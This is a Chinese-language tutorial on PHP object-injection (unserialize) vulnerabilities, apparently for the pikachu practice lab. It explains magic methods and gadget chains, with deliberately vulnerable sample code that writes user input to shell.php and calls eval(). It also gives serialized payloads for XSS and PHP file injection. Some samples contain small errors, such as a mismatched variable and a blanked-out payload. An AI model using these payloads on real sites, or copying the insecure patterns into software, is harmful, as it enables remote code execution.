概述
以php为例子,需要先搞清楚php中serialize(),unserialize()这两个函数。
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{public $test="pikachu";}$s=new S(); //创建一个对象serialize($s); //把这个对象进行序列化序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}O:代表object1:代表对象名字长度为一个字符S:对象的名称1:代表对象里面有一个变量s:数据类型4:变量名称的长度test:变量名称s:数据类型7:变量值的长度pikachu:变量值
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
示例
常见的几个魔法函数:__construct()当一个对象创建时被调用__destruct()当一个对象销毁时被调用__toString()当一个对象被当作一个字符串使用__sleep() 在对象在被序列化之前运行__wakeup将在序列化之后立即被调用漏洞举例:class S{var $test = "pikachu";function __destruct(){echo $this->test;}}$s = $_GET['test'];@$unser = unserialize($a);** payload: ** O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
<?phpclass chybeta{var $test = '123';function __wakeup(){echo "__wakeup";echo "</br>";}function __construct(){echo "__construct";echo "</br>";}function __destruct(){echo "__destruct";echo "</br>";}}$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';print_r($class2);echo "</br>";$class2_unser = unserialize($class2);print_r($class2_unser);echo "</br>";?>
利用场景
wakeup() 或destruct()
由前可以看到,unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。这里针对 __wakeup() 场景做个实验。假设index源码如下:
<?phpclass chybeta{var $test = '123';function __wakeup(){$fp = fopen("shell.php","w") ;fwrite($fp,$this->test);fclose($fp);}}$class3 = $_GET['test'];print_r($class3);echo "</br>";$class3_unser = unserialize($class3);require "shell.php";// 为显示效果,把这个shell.php包含进来?>
那我们把序列化的数据传入,对方调用序列化的__wakeup()函数就可以被调用到。
O:7:”chybeta”:1:{s:4:”test”;s:19:”<?php phpinfo(); ?>”;}
实战
打开pikachu进行反序列化的实战操练。
直接带入payloads,看效果:
O:1:”S”:1:{s:4:”test”;s:29:”“;}
其他Magic function的利用
但如果一次unserialize()中并不会直接调用的魔术函数,比如前面提到的construct(),是不是就没有利用价值呢?非也。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。
<?phpclass ph0en1x{function __construct($test){$fp = fopen("shell.php","w") ;fwrite($fp,$test);fclose($fp);}}class chybeta{var $test = '123';function __wakeup(){$obj = new ph0en1x($this->test);}}$class5 = $_GET['test'];print_r($class5);echo "</br>";$class5_unser = unserialize($class5);require "shell.php";?>
利用普通成员方法
前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。
<?phpclass chybeta {var $test;function __construct() {$this->test = new ph0en1x();}function __destruct() {$this->test->action();}}class ph0en1x {function action() {echo "ph0en1x";}}class ph0en2x {var $test2;function action() {eval($this->test2);}}$class6 = new chybeta();unserialize($_GET['test']);?>
本意上,new一个新的chybeta对象后,调用construct(),其中又new了ph0en1x对象。在结束后会调用destruct(),其中会调用action(),从而输出 ph0en1x。
